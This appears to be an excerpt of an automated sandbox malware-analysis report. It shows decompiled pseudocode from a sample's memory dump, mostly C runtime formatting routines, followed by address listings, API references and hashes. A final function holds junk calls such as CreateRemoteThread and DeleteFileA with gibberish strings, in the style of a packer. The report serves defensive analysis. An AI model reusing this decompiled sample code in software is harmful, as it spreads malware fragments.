															 *(__ebp - 0x4a8) =  ~( *(__ebp - 0x4a0));
															 *(__ebp - 0x4a4) =  ~( *(__ebp - 0x49c));
															 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
															 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
															L168:
															 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
															__eflags =  *(__ebp - 0x10) & 0x00008000;
															if(( *(__ebp - 0x10) & 0x00008000) == 0) {
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
																__eflags =  *(__ebp - 0x10) & 0x00001000;
																if(( *(__ebp - 0x10) & 0x00001000) == 0) {
																	__edx =  *(__ebp - 0x4a8);
																	__eax =  *(__ebp - 0x4a4);
																	__eax =  *(__ebp - 0x4a4) & 0x00000000;
																	__eflags = __eax;
																	 *(__ebp - 0x4a4) = __eax;
																}
															}
															__eflags =  *(__ebp - 0x30);
															if( *(__ebp - 0x30) >= 0) {
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xfffffff7;
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xfffffff7;
																__eflags =  *(__ebp - 0x30) - 0x200;
																if( *(__ebp - 0x30) > 0x200) {
																	 *(__ebp - 0x30) = 0x200;
																}
															} else {
																 *(__ebp - 0x30) = 1;
															}
															 *(__ebp - 0x4a8) =  *(__ebp - 0x4a8) |  *(__ebp - 0x4a4);
															__eflags =  *(__ebp - 0x4a8) |  *(__ebp - 0x4a4);
															if(( *(__ebp - 0x4a8) |  *(__ebp - 0x4a4)) == 0) {
																 *(__ebp - 0x1c) = 0;
															}
															__eax = __ebp - 0x249;
															 *(__ebp - 4) = __ebp - 0x249;
															while(1) {
																L178:
																__ecx =  *(__ebp - 0x30);
																 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
																 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
																__eflags =  *(__ebp - 0x30);
																if( *(__ebp - 0x30) > 0) {
																	goto L180;
																}
																L179:
																 *(__ebp - 0x4a8) =  *(__ebp - 0x4a8) |  *(__ebp - 0x4a4);
																__eflags =  *(__ebp - 0x4a8) |  *(__ebp - 0x4a4);
																if(( *(__ebp - 0x4a8) |  *(__ebp - 0x4a4)) == 0) {
																	goto L183;
																}
																L180:
																__eax =  *(__ebp - 8);
																asm("cdq");
																__ecx =  *(__ebp - 0x4a4);
																__edx =  *(__ebp - 0x4a8);
																__eax = E00430820( *(__ebp - 0x4a8),  *(__ebp - 0x4a4),  *(__ebp - 8),  *(__ebp - 0x4a8));
																 *(__ebp - 0x494) = __eax;
																__eax =  *(__ebp - 8);
																asm("cdq");
																__eax =  *(__ebp - 0x4a4);
																__ecx =  *(__ebp - 0x4a8);
																 *(__ebp - 0x4a8) = E004308A0( *(__ebp - 0x4a8),  *(__ebp - 0x4a4),  *(__ebp - 8), __edx);
																 *(__ebp - 0x4a4) = __edx;
																__eflags =  *(__ebp - 0x494) - 0x39;
																if( *(__ebp - 0x494) > 0x39) {
																	__edx =  *(__ebp - 0x494);
																	__edx =  *(__ebp - 0x494) +  *(__ebp - 0x460);
																	__eflags = __edx;
																	 *(__ebp - 0x494) = __edx;
																}
																__eax =  *(__ebp - 4);
																 *( *(__ebp - 4)) =  *(__ebp - 0x494);
																 *(__ebp - 4) =  *(__ebp - 4) - 1;
																 *(__ebp - 4) =  *(__ebp - 4) - 1;
																L178:
																__ecx =  *(__ebp - 0x30);
																 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
																 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
																__eflags =  *(__ebp - 0x30);
																if( *(__ebp - 0x30) > 0) {
																	goto L180;
																}
																goto L179;
															}
														}
														L165:
														__eflags =  *(__ebp - 0x4a0);
														if( *(__ebp - 0x4a0) >= 0) {
															goto L167;
														}
														goto L166;
													}
												case 0xe:
													while(1) {
														L187:
														if( *(_t596 - 0x28) != 0) {
															goto L212;
														}
														goto L188;
													}
											}
										case 8:
											L24:
											__ecx =  *(__ebp - 0x10);
											__ecx =  *(__ebp - 0x10) | 0x00000002;
											 *(__ebp - 0x10) = __ecx;
											goto L27;
										case 9:
											L25:
											 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
											 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
											goto L27;
										case 0xa:
											L23:
											 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000001;
											 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000001;
											goto L27;
										case 0xb:
											L22:
											 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
											 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
											goto L27;
										case 0xc:
											L26:
											__eax =  *(__ebp - 0x10);
											__eax =  *(__ebp - 0x10) | 0x00000008;
											__eflags = __eax;
											 *(__ebp - 0x10) = __eax;
											goto L27;
										case 0xd:
											L27:
											goto L214;
									}
								} else {
									_t571 = 0;
									if(0 == 0) {
										 *(_t596 - 0x4dc) = 0;
									} else {
										 *(_t596 - 0x4dc) = 1;
									}
									 *(_t596 - 0x46c) =  *(_t596 - 0x4dc);
									if( *(_t596 - 0x46c) == 0) {
										_push(L"(\"Incorrect format specifier\", 0)");
										_push(0);
										_push(0x460);
										_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
										_push(2);
										_t502 = L0041E410();
										_t599 = _t599 + 0x14;
										if(_t502 == 1) {
											asm("int3");
										}
									}
									L14:
									if( *(_t596 - 0x46c) != 0) {
										goto L16;
									} else {
										 *((intOrPtr*)(L00422F00(_t543))) = 0x16;
										E00422C90(_t534, _t543, _t594, _t595, L"(\"Incorrect format specifier\", 0)", L"_woutput_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x460, 0);
										 *(_t596 - 0x4c8) = 0xffffffff;
										E0041AEB0(_t596 - 0x40);
										_t487 =  *(_t596 - 0x4c8);
										L225:
										return E0042BD50(_t487, _t534,  *(_t596 - 0x48) ^ _t596, _t571, _t594, _t595);
									}
								}
							}
							L215:
							if( *(_t596 - 0x45c) == 0) {
								L218:
								 *(_t596 - 0x4f8) = 1;
								L219:
								_t571 =  *(_t596 - 0x4f8);
								 *(_t596 - 0x4bc) =  *(_t596 - 0x4f8);
								if( *(_t596 - 0x4bc) == 0) {
									_push(L"((state == ST_NORMAL) || (state == ST_TYPE))");
									_push(0);
									_push(0x8f5);
									_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
									_push(2);
									_t492 = L0041E410();
									_t599 = _t599 + 0x14;
									if(_t492 == 1) {
										asm("int3");
									}
								}
								if( *(_t596 - 0x4bc) != 0) {
									 *(_t596 - 0x4d4) =  *(_t596 - 0x44c);
									E0041AEB0(_t596 - 0x40);
									_t487 =  *(_t596 - 0x4d4);
								} else {
									 *((intOrPtr*)(L00422F00(_t535))) = 0x16;
									E00422C90(_t534, _t535, _t594, _t595, L"((state == ST_NORMAL) || (state == ST_TYPE))", L"_woutput_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x8f5, 0);
									 *(_t596 - 0x4d0) = 0xffffffff;
									E0041AEB0(_t596 - 0x40);
									_t487 =  *(_t596 - 0x4d0);
								}
								goto L225;
							}
							L216:
							if( *(_t596 - 0x45c) == 7) {
								goto L218;
							}
							L217:
							 *(_t596 - 0x4f8) = 0;
							goto L219;
						}
					}
					L76:
					_t567 =  *0x440f80; // 0x404478
					 *(_t596 - 4) = _t567;
					_t484 = E0041DEB0( *(_t596 - 4));
					_t599 = _t599 + 4;
					 *(_t596 - 0x24) = _t484;
					goto L80;
				}
			}

0x0043bfb4
0x0043bfb4
0x0043bfb4
0x0043bfb4
0x0043bfb4
0x0043bfb4
0x0043bfb8
0x0043bfbd
0x0043bfc0
0x0043bfcd
0x00000000
0x00000000
0x0043bfcf
0x0043bfcf
0x0043bfd9
0x0043bff8
0x0043bffe
0x0043c026
0x0043c02d
0x0043c033
0x0043c036
0x0043c039
0x0043c03f
0x0043c042
0x0043c000
0x0043c000
0x0043c006
0x0043c009
0x0043c00c
0x0043c012
0x0043c015
0x0043c018
0x0043c01a
0x0043c01d
0x0043c01d
0x0043c045
0x0043c740
0x0043c740
0x0043c744
0x00000000
0x00000000
0x0043c74a
0x0043c750
0x0043c75a
0x0043c774
0x0043c78e
0x0043c795
0x0043c799
0x0043c799
0x0043c776
0x0043c77b
0x0043c77f
0x0043c77f
0x0043c75c
0x0043c761
0x0043c765
0x0043c765
0x0043c75a
0x0043c7a9
0x0043c7b5
0x0043c7cb
0x0043c7d0
0x0043c7d0
0x0043c7e6
0x0043c7eb
0x0043c7f4
0x0043c7fc
0x0043c812
0x0043c817
0x0043c817
0x0043c7fc
0x0043c81e
0x0043c8d8
0x0043c8eb
0x0043c8f0
0x00000000
0x0043c824
0x0043c824
0x0043c828
0x00000000
0x00000000
0x0043c82e
0x0043c831
0x0043c83a
0x0043c840
0x0043c840
0x0043c84f
0x0043c857
0x00000000
0x00000000
0x0043c859
0x0043c85c
0x0043c881
0x0043c886
0x0043c889
0x0043c896
0x0043c8a4
0x0043c8b7
0x0043c8bc
0x0043c8cb
0x00000000
0x0043c8cb
0x0043c898
0x0043c898
0x00000000
0x0043c898
0x0043c8d6
0x0043c8f3
0x0043c8fa
0x0043c902
0x0043c918
0x0043c91d
0x0043c91d
0x0043c902
0x0043c8fa
0x0043c920
0x0043c924
0x0043c92c
0x0043c931
0x0043c934
0x0043c934
0x0043c93b
0x0043c93b
0x0043babb
0x0043bac2
0x0043bacf
0x0043bad4
0x00000000
0x0043bae7
0x0043baf1
0x0043bb18
0x0043baff
0x0043bb10
0x0043bb10
0x0043baf1
0x0043bb22
0x0043bb28
0x0043bb34
0x0043bb37
0x0043bb45
0x0043bb48
0x0043bb55
0x0043bbfa
0x0043bc00
0x0043bc0d
0x00000000
0x00000000
0x0043bc13
0x0043bc19
0x00000000
0x0043bc20
0x0043bc20
0x0043bc3a
0x0043bc3f
0x00000000
0x00000000
0x0043bc47
0x0043bc47
0x0043bc4e
0x0043bc51
0x0043bc54
0x0043bc57
0x0043bc5a
0x0043bc5d
0x0043bc60
0x0043bc67
0x0043bc6e
0x00000000
0x00000000
0x0043bc7a
0x0043bc7a
0x0043bc81
0x0043bc8d
0x0043bc90
0x0043bc96
0x0043bc9d
0x00000000
0x00000000
0x0043bc9f
0x0043bca5
0x0043bca5
0x0043bcac
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0043bcf0
0x0043bcf0
0x0043bcf7
0x0043bcfa
0x0043bd24
0x0043bd27
0x0043bd27
0x0043bd31
0x0043bd31
0x0043bd35
0x0043bcfc
0x0043bcfc
0x0043bd08
0x0043bd0b
0x0043bd0f
0x0043bd11
0x0043bd14
0x0043bd14
0x0043bd17
0x0043bd1a
0x0043bd1d
0x0043bd1f
0x0043bd1f
0x0043bd22
0x0043bd38
0x00000000
0x00000000
0x0043bd3d
0x0043bd3d
0x00000000
0x00000000
0x0043bd49
0x0043bd49
0x0043bd50
0x0043bd53
0x0043bd73
0x0043bd76
0x0043bd76
0x0043bd80
0x0043bd80
0x0043bd84
0x0043bd55
0x0043bd55
0x0043bd61
0x0043bd64
0x0043bd68
0x0043bd6a
0x0043bd6a
0x0043bd71
0x00000000
0x00000000
0x0043bd8c
0x0043bd8c
0x0043bd93
0x0043bd9f
0x0043bda2
0x0043bda8
0x0043bdaf
0x0043bec2
0x00000000
0x0043bec2
0x0043bdb5
0x0043bdbb
0x0043bdbb
0x0043bdc2
0x00000000
0x0043bdf9
0x0043bdf9
0x0043bdfc
0x0043bdff
0x0043be02
0x0043be29
0x0043be29
0x0043be2c
0x0043be2f
0x0043be32
0x0043be56
0x0043be56
0x0043be59
0x0043be5c
0x0043be5f
0x0043be98
0x0043bea9
0x00000000
0x0043bea9
0x0043be61
0x0043be61
0x0043be64
0x0043be67
0x0043be6a
0x00000000
0x00000000
0x0043be6c
0x0043be6c
0x0043be6f
0x0043be72
0x0043be75
0x00000000
0x00000000
0x0043be77
0x0043be77
0x0043be7a
0x0043be7d
0x0043be80
0x00000000
0x00000000
0x0043be82
0x0043be82
0x0043be85
0x0043be88
0x0043be8b
0x00000000
0x00000000
0x0043be8d
0x0043be8d
0x0043be90
0x0043be93
0x0043be96
0x0043be9a
0x00000000
0x0043be9a
0x00000000
0x0043be96
0x0043be34
0x0043be34
0x0043be37
0x0043be3b
0x0043be3e
0x00000000
0x0043be40
0x0043be43
0x0043be46
0x0043be4c
0x0043be51
0x00000000
0x0043be51
0x0043be3e
0x0043be04
0x0043be04
0x0043be07
0x0043be0b
0x0043be0e
0x00000000
0x0043be10
0x0043be13
0x0043be16
0x0043be1c
0x0043be21
0x00000000
0x0043be21
0x00000000
0x0043beab
0x0043beab
0x0043beae
0x0043beb1
0x00000000
0x00000000
0x0043bdc9
0x0043bdc9
0x0043bdcc
0x0043bdcf
0x0043bdd2
0x0043bdeb
0x0043bdee
0x0043bdee
0x0043bdf1
0x0043bdd4
0x0043bdd4
0x0043bdd7
0x0043bdda
0x0043bde0
0x0043bde6
0x0043bde6
0x00000000
0x00000000
0x0043beb6
0x0043beb6
0x0043beb9
0x0043beb9
0x0043bebf
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0043bec7
0x0043bec7
0x0043bece
0x0043bed4
0x0043beda
0x0043bedd
0x0043bee3
0x0043beea
0x00000000
0x0043c740
0x0043c740
0x0043c740
0x0043c740
0x0043c744
0x00000000
0x00000000
0x00000000
0x0043c744
0x0043c6f7
0x0043c6fd
0x0043c700
0x0043c703
0x0043c706
0x0043c709
0x0043c70f
0x0043c70f
0x0043c70f
0x0043c717
0x0043c71b
0x00000000
0x00000000
0x0043c71d
0x0043c71d
0x0043c720
0x0043c723
0x0043c723
0x0043c728
0x0043c72b
0x0043c72e
0x0043c731
0x0043c734
0x0043c737
0x0043c73a
0x0043c73a
0x0043c73d
0x0043c740
0x0043c740
0x0043c744
0x00000000
0x00000000
0x00000000
0x0043c744
0x0043c740
0x0043bef0
0x0043bef6
0x0043bef6
0x0043befd
0x00000000
0x0043c281
0x0043c281
0x0043c28f
0x0043c28f
0x0043c292
0x00000000
0x00000000
0x0043bf04
0x0043bf07
0x0043bf07
0x0043bf0d
0x0043bf0f
0x0043bf12
0x0043bf12
0x0043bf15
0x0043bf15
0x00000000
0x00000000
0x0043c04a
0x0043c04d
0x0043c04d
0x0043c052
0x0043c054
0x0043c057
0x0043c057
0x0043c05a
0x0043c05a
0x00000000
0x00000000
0x0043c44d
0x0043c44d
0x00000000
0x00000000
0x00000000
0x00000000
0x0043c299
0x0043c29c
0x0043c29f
0x0043c2a2
0x0043c2a8
0x0043c2ab
0x0043c2b2
0x0043c2b6
0x0043c2c1
0x0043c2c1
0x0043c2c5
0x0043c2dc
0x0043c2dc
0x0043c2e3
0x0043c2e5
0x0043c2e5
0x0043c2ec
0x0043c2ec
0x0043c2f3
0x0043c301
0x0043c304
0x0043c313
0x0043c316
0x0043c31a
0x0043c32f
0x0043c31c
0x0043c31c
0x0043c31f
0x0043c325
0x0043c32a
0x0043c32a
0x0043c31a
0x0043c339
0x0043c33c
0x0043c33f
0x0043c342
0x0043c345
0x0043c348
0x0043c34e
0x0043c354
0x0043c35c
0x0043c35d
0x0043c360
0x0043c361
0x0043c364
0x0043c365
0x0043c36c
0x0043c36d
0x0043c370
0x0043c371
0x0043c374
0x0043c375
0x0043c37b
0x0043c37c
0x0043c38b
0x0043c38d
0x0043c393
0x0043c393
0x0043c398
0x0043c39a
0x0043c39e
0x0043c3a0
0x0043c3a8
0x0043c3a9
0x0043c3ac
0x0043c3ad
0x0043c3bc
0x0043c3be
0x0043c3be
0x0043c39e
0x0043c3c1
0x0043c3c8
0x0043c3cb
0x0043c3d0
0x0043c3d0
0x0043c3d6
0x0043c3d8
0x0043c3e0
0x0043c3e1
0x0043c3e4
0x0043c3e5
0x0043c3f3
0x0043c3f5
0x0043c3f5
0x0043c3d6
0x0043c3f8
0x0043c3fb
0x0043c3fe
0x0043c401
0x0043c406
0x0043c40b
0x0043c40e
0x0043c411
0x0043c411
0x0043c414
0x0043c414
0x0043c417
0x0043c423
0x00000000
0x0043c423
0x0043c2c7
0x0043c2c7
0x0043c2ce
0x0043c2d1
0x00000000
0x00000000
0x0043c2d3
0x0043c2d3
0x00000000
0x0043c2d3
0x0043c2b8
0x0043c2b8
0x00000000
0x00000000
0x0043bf18
0x0043bf18
0x0043bf23
0x0043bf2b
0x0043bf32
0x0043bf35
0x0043bf35
0x0043bf38
0x0043bf98
0x0043bf3a
0x0043bf41
0x0043bf47
0x0043bf4d
0x0043bf54
0x0043bf57
0x0043bf5d
0x0043bf65
0x0043bf67
0x0043bf6e
0x0043bf75
0x0043bf7c
0x0043bf84
0x0043bf86
0x0043bf88
0x0043bf88
0x0043bf8f
0x0043bf9f
0x0043bfa5
0x0043bfa8
0x0043c740
0x0043c740
0x0043c744
0x00000000
0x00000000
0x00000000
0x0043c744
0x00000000
0x00000000
0x0043c42b
0x0043c42e
0x0043c431
0x0043c434
0x00000000
0x00000000
0x0043c18a
0x0043c18a
0x0043c196
0x0043c19c
0x0043c1a1
0x0043c1a3
0x0043c24d
0x0043c24d
0x0043c250
0x0043c250
0x0043c253
0x0043c267
0x0043c26d
0x0043c273
0x0043c255
0x0043c255
0x0043c25b
0x0043c262
0x0043c262
0x0043c275
0x0043c740
0x0043c740
0x0043c744
0x00000000
0x00000000
0x00000000
0x0043c744
0x0043c740
0x0043c1a9
0x0043c1a9
0x0043c1a9
0x0043c1ab
0x0043c1b9
0x0043c1ad
0x0043c1ad
0x0043c1ad
0x0043c1c3
0x0043c1c9
0x0043c1cf
0x0043c1d6
0x0043c1d8
0x0043c1dd
0x0043c1df
0x0043c1e4
0x0043c1e9
0x0043c1eb
0x0043c1f0
0x0043c1f3
0x0043c1f6
0x0043c1f8
0x0043c1f8
0x0043c1f6
0x0043c1f9
0x0043c200
0x0043c248
0x0043c740
0x0043c740
0x0043c744
0x00000000
0x00000000
0x00000000
0x0043c744
0x0043c202
0x0043c202
0x0043c207
0x0043c223
0x0043c22b
0x0043c235
0x0043c238
0x0043c23d
0x00000000
0x0043c23d
0x00000000
0x0043c494
0x0043c494
0x0043c49e
0x0043c49e
0x0043c4a4
0x0043c4a6
0x0043c4a9
0x0043c4a9
0x0043c4af
0x0043c4af
0x00000000
0x00000000
0x0043c446
0x0043c446
0x00000000
0x00000000
0x0043c05d
0x0043c05d
0x0043c061
0x0043c06f
0x0043c072
0x0043c063
0x0043c063
0x0043c063
0x0043c078
0x0043c07e
0x0043c084
0x0043c090
0x0043c096
0x0043c096
0x0043c099
0x0043c121
0x0043c121
0x0043c125
0x0043c127
0x0043c12d
0x0043c12d
0x0043c130
0x0043c137
0x0043c13a
0x0043c140
0x0043c140
0x0043c140
0x0043c146
0x0043c14c
0x0043c14f
0x0043c155
0x0043c157
0x00000000
0x00000000
0x0043c159
0x0043c159
0x0043c15f
0x0043c162
0x0043c164
0x00000000
0x00000000
0x0043c166
0x0043c16c
0x0043c16f
0x0043c16f
0x0043c177
0x0043c177
0x0043c17d
0x0043c17d
0x0043c182
0x00000000
0x0043c09f
0x0043c09f
0x0043c09f
0x0043c0a3
0x0043c0a5
0x0043c0aa
0x0043c0aa
0x0043c0ad
0x0043c0b0
0x0043c0b6
0x0043c0c8
0x0043c0c8
0x0043c0c8
0x0043c0cb
0x0043c0d1
0x00000000
0x00000000
0x0043c0d3
0x0043c0d3
0x0043c0d9
0x0043c0dc
0x0043c0de
0x00000000
0x00000000
0x0043c0e0
0x0043c0e0
0x0043c0e9
0x0043c0ef
0x0043c0f3
0x0043c0fb
0x0043c0fd
0x0043c0ff
0x0043c105
0x0043c105
0x0043c108
0x0043c108
0x0043c114
0x0043c117
0x0043c0bf
0x0043c0c2
0x0043c0c2
0x0043c0c5
0x0043c0c5
0x0043c11f
0x0043c185
0x0043c740
0x0043c740
0x0043c744
0x00000000
0x00000000
0x00000000
0x0043c744
0x0043c740
0x00000000
0x0043c43d
0x0043c43d
0x00000000
0x00000000
0x0043c459
0x0043c459
0x0043c463
0x0043c463
0x0043c46d
0x0043c46d
0x0043c473
0x0043c475
0x0043c47a
0x0043c484
0x0043c484
0x0043c487
0x0043c48b
0x0043c48b
0x0043c4b2
0x0043c4b5
0x0043c4b5
0x0043c4ba
0x0043c4dc
0x0043c4dc
0x0043c4e2
0x0043c504
0x0043c504
0x0043c507
0x0043c54e
0x0043c54e
0x0043c551
0x0043c56e
0x0043c572
0x0043c57a
0x0043c57a
0x0043c57c
0x0043c582
0x0043c553
0x0043c553
0x0043c557
0x0043c55f
0x0043c560
0x0043c566
0x0043c566
0x0043c509
0x0043c50c
0x0043c50c
0x0043c50f
0x0043c52d
0x0043c539
0x0043c53c
0x0043c53d
0x0043c543
0x0043c511
0x0043c511
0x0043c515
0x0043c51d
0x0043c51e
0x0043c51f
0x0043c525
0x0043c525
0x0043c549
0x0043c4e4
0x0043c4e4
0x0043c4f0
0x0043c4f6
0x0043c4f6
0x0043c4bc
0x0043c4bc
0x0043c4c8
0x0043c4ce
0x0043c4ce
0x0043c58b
0x0043c58b
0x0043c58e
0x0043c5d0
0x0043c5d0
0x0043c5d6
0x0043c5dc
0x0043c5e2
0x00000000
0x0043c590
0x0043c590
0x0043c590
0x0043c597
0x00000000
0x00000000
0x0043c599
0x0043c599
0x0043c5a4
0x0043c5aa
0x0043c5ac
0x0043c5b2
0x0043c5b5
0x0043c5b7
0x0043c5bd
0x0043c5c6
0x0043c5cb
0x0043c5e8
0x0043c5eb
0x0043c5eb
0x0043c5f0
0x0043c5f5
0x0043c5f5
0x0043c5fb
0x0043c5fd
0x0043c603
0x0043c609
0x0043c609
0x0043c612
0x0043c612
0x0043c5fb
0x0043c618
0x0043c61c
0x0043c62a
0x0043c62d
0x0043c630
0x0043c637
0x0043c639
0x0043c639
0x0043c61e
0x0043c61e
0x0043c61e
0x0043c646
0x0043c646
0x0043c64c
0x0043c64e
0x0043c64e
0x0043c655
0x0043c65b
0x0043c65e
0x0043c65e
0x0043c65e
0x0043c664
0x0043c667
0x0043c66a
0x0043c66c
0x00000000
0x00000000
0x0043c66e
0x0043c674
0x0043c674
0x0043c67a
0x00000000
0x00000000
0x0043c67c
0x0043c67c
0x0043c67f
0x0043c682
0x0043c689
0x0043c690
0x0043c698
0x0043c69e
0x0043c6a1
0x0043c6a4
0x0043c6ab
0x0043c6b7
0x0043c6bd
0x0043c6c3
0x0043c6ca
0x0043c6cc
0x0043c6d2
0x0043c6d2
0x0043c6d8
0x0043c6d8
0x0043c6de
0x0043c6e7
0x0043c6ec
0x0043c6ef
0x0043c65e
0x0043c65e
0x0043c664
0x0043c667
0x0043c66a
0x0043c66c
0x00000000
0x00000000
0x00000000
0x0043c66c
0x0043c65e
0x0043c59b
0x0043c59b
0x0043c5a2
0x00000000
0x00000000
0x00000000
0x0043c5a2
0x00000000
0x0043c740
0x0043c740
0x0043c744
0x00000000
0x00000000
0x00000000
0x0043c744
0x00000000
0x00000000
0x0043bcc9
0x0043bcc9
0x0043bccc
0x0043bccf
0x00000000
0x00000000
0x0043bcd4
0x0043bcd7
0x0043bcdd
0x00000000
0x00000000
0x0043bcbe
0x0043bcc1
0x0043bcc4
0x00000000
0x00000000
0x0043bcb3
0x0043bcb6
0x0043bcb9
0x00000000
0x00000000
0x0043bce2
0x0043bce2
0x0043bce5
0x0043bce5
0x0043bce8
0x00000000
0x00000000
0x0043bceb
0x00000000
0x00000000
0x0043bb5b
0x0043bb5b
0x0043bb5d
0x0043bb6b
0x0043bb5f
0x0043bb5f
0x0043bb5f
0x0043bb7b
0x0043bb88
0x0043bb8a
0x0043bb8f
0x0043bb91
0x0043bb96
0x0043bb9b
0x0043bb9d
0x0043bba2
0x0043bba8
0x0043bbaa
0x0043bbaa
0x0043bba8
0x0043bbab
0x0043bbb2
0x00000000
0x0043bbb4
0x0043bbb9
0x0043bbd5
0x0043bbdd
0x0043bbea
0x0043bbef
0x0043ca04
0x0043ca11
0x0043ca11
0x0043bbb2
0x0043bb55
0x0043c940
0x0043c947
0x0043c95e
0x0043c95e
0x0043c968
0x0043c968
0x0043c96e
0x0043c97b
0x0043c97d
0x0043c982
0x0043c984
0x0043c989
0x0043c98e
0x0043c990
0x0043c995
0x0043c99b
0x0043c99d
0x0043c99d
0x0043c99b
0x0043c9a5
0x0043c9f0
0x0043c9f9
0x0043c9fe
0x0043c9a7
0x0043c9ac
0x0043c9c8
0x0043c9d0
0x0043c9dd
0x0043c9e2
0x0043c9e2
0x00000000
0x0043c9a5
0x0043c949
0x0043c950
0x00000000
0x00000000
0x0043c952
0x0043c952
0x00000000
0x0043c952
0x0043c740
0x0043bfdb
0x0043bfdb
0x0043bfe1
0x0043bfe8
0x0043bfed
0x0043bff0
0x00000000
0x0043bff0

APIs

_get_int_arg.LIBCMTD ref: 0043BFB8
_strlen.LIBCMT ref: 0043BFE8
_write_multi_char.LIBCMTD ref: 0043C7CB
_write_string.LIBCMTD ref: 0043C7E6
_write_multi_char.LIBCMTD ref: 0043C812
__mbtowc_l.LIBCMTD ref: 0043C881

Strings

_woutput_s_l, xrefs: 0043BBCB
f:\dd\vctools\crt_bld\self_x86\crt\src\output.c, xrefs: 0043BB96, 0043BBC6
("Incorrect format specifier", 0), xrefs: 0043BB8A, 0043BBD0
xD@, xrefs: 0043BFDB

Memory Dump Source

Source File: 00000000.00000002.276994985.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.276991313.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.277020013.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.277028554.000000000055A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.277031435.0000000000560000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_eIxMVDoQF3.jbxd

Similarity

API ID: _write_multi_char$__mbtowc_l_get_int_arg_strlen_write_string
String ID: ("Incorrect format specifier", 0)$_woutput_s_l$f:\dd\vctools\crt_bld\self_x86\crt\src\output.c$xD@
API String ID: 909868375-2094193020
Opcode ID: b00941b20bd59b814280b132e37efa23e2ac40820aad5b12af99e1606340485b
Instruction ID: 8ae6aebdde99336b1f660784ad4fff004dad56bea14bc1bf283bbae6ca09aa74
Opcode Fuzzy Hash: b00941b20bd59b814280b132e37efa23e2ac40820aad5b12af99e1606340485b
Instruction Fuzzy Hash: FFA17DB1D002189BDB24DF55CC85BEEB3B5FB48305F14919AE6097B282D738AE84CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00419EE5, Relevance: 19.3, APIs: 9, Strings: 2, Instructions: 39
filetimethreadCOMMON

Download Yara Rule

C-Code - Quality: 61%

			E00419EE5(void* __eax, void* __edx) {
				void* _t19;

				asm("adc [eax], eax");
				 *((intOrPtr*)(_t19 + 0x73)) =  *((intOrPtr*)(_t19 + 0x73)) + __edx;
				SetSystemTimeAdjustment(0, 0);
				CreateRemoteThread(0, 0, 0, 0, 0, 0, 0);
				__imp__CreateActCtxW(_t19 - 0x1648);
				DeleteFileA("Sidewarogode sarekivokifija sujucobe gopomuzoyerer gafucazo");
				__imp__GetCalendarInfoA(0, 0, 0, "vihebihasucuxegod", 0, 0);
				InterlockedDecrement(_t19 - 0x1628);
				GetCommandLineW();
				TlsGetValue(0);
				TryEnterCriticalSection(_t19 - 0x1624);
				return 0;
			}

0x00419eeb
0x00419eed
0x00419ef4
0x00419f08
0x00419f15
0x00419f20
0x00419f35
0x00419f42
0x00419f48
0x00419f50
0x00419f5d
0x00419f66

APIs

SetSystemTimeAdjustment.KERNEL32 ref: 00419EF4
CreateRemoteThread.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00419F08
CreateActCtxW.KERNEL32(?), ref: 00419F15
DeleteFileA.KERNEL32(Sidewarogode sarekivokifija sujucobe gopomuzoyerer gafucazo), ref: 00419F20
GetCalendarInfoA.KERNEL32(00000000,00000000,00000000,vihebihasucuxegod,00000000,00000000), ref: 00419F35
InterlockedDecrement.KERNEL32(?), ref: 00419F42
GetCommandLineW.KERNEL32 ref: 00419F48
TlsGetValue.KERNEL32(00000000), ref: 00419F50
TryEnterCriticalSection.KERNEL32(?), ref: 00419F5D

Strings

Sidewarogode sarekivokifija sujucobe gopomuzoyerer gafucazo, xrefs: 00419F1B
vihebihasucuxegod, xrefs: 00419F2A

Memory Dump Source

Source File: 00000000.00000002.276994985.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.276991313.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.277020013.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.277028554.000000000055A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.277031435.0000000000560000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_eIxMVDoQF3.jbxd

Similarity

API ID: Create$AdjustmentCalendarCommandCriticalDecrementDeleteEnterFileInfoInterlockedLineRemoteSectionSystemThreadTimeValue
String ID: Sidewarogode sarekivokifija sujucobe gopomuzoyerer gafucazo$vihebihasucuxegod
API String ID: 2597053956-1231097603
Opcode ID: 778ccddce6d80ebf428a3a2114098694b13ee476d875678dd32114e9b0909af6
Instruction ID: c3ab0cdaebc2716bf8f6124dab3ba94a85e8c3f330aa3f1e61336741c9c4d0c9
